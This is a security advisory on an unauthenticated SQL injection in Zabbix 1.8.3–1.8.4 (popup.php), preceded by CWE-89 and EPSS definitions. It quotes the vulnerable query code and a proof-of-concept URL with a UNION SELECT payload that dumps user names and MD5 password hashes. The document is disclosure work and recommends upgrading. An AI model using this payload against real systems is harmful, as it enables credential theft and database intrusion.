CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

I. VULNERABILITY
-------------------------
Zabbix <= 1.8.4 SQL Injection
II. BACKGROUND
-------------------------
Zabbix is an enterprise-class open source distributed monitoring solution.
Zabbix is software that monitors numerous parameters of a network and the
health and integrity of servers. Properly configured, Zabbix can play an
important role in monitoring IT infrastructure. This is equally true for
small organisations with a few servers and for large companies with a
multitude of servers.
III. INTRODUCTION
-------------------------
Zabbix version 1.8.3 and 1.8.4 has one vulnerability in the popup.php that
enables an attacker to perform a SQL Injection Attack. No authentication
required.
IV. VULNERABLE CODE
-------------------------
File popup.php line 1513:
$sql = 'SELECT DISTINCT hostid,host '.
' FROM hosts'.
' WHERE '.DBin_node('hostid', $nodeid).
' AND status IN
('.HOST_STATUS_PROXY_ACTIVE.','.HOST_STATUS_PROXY_PASSIVE.')'.
' ORDER BY host,hostid';
$result = DBselect($sql);
V. PROOF OF CONCEPT
-------------------------
Below is a PoC request that retrieves all logins and MD5 password hashes of
zabbix in MySQL Database:
http://localhost/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23
VI. BUSINESS IMPACT
-------------------------
An attacker could exploit the vulnerability to retrieve any data from
databases accessible by zabbix db user.
In case zabbix has been given a more privileged mysql account the
exploitation could go as far as code execution.
An important remark regards the fact that the version 1.8.4 of zabbix
web software is the current version installed by the apt-get command
in debian linux distros.
VII. SYSTEMS AFFECTED
-------------------------
Versions 1.8.3 and 1.8.4 are vulnerable.
VIII. SOLUTION
-------------------------
Upgrade to version 1.8.9 that has just come out.
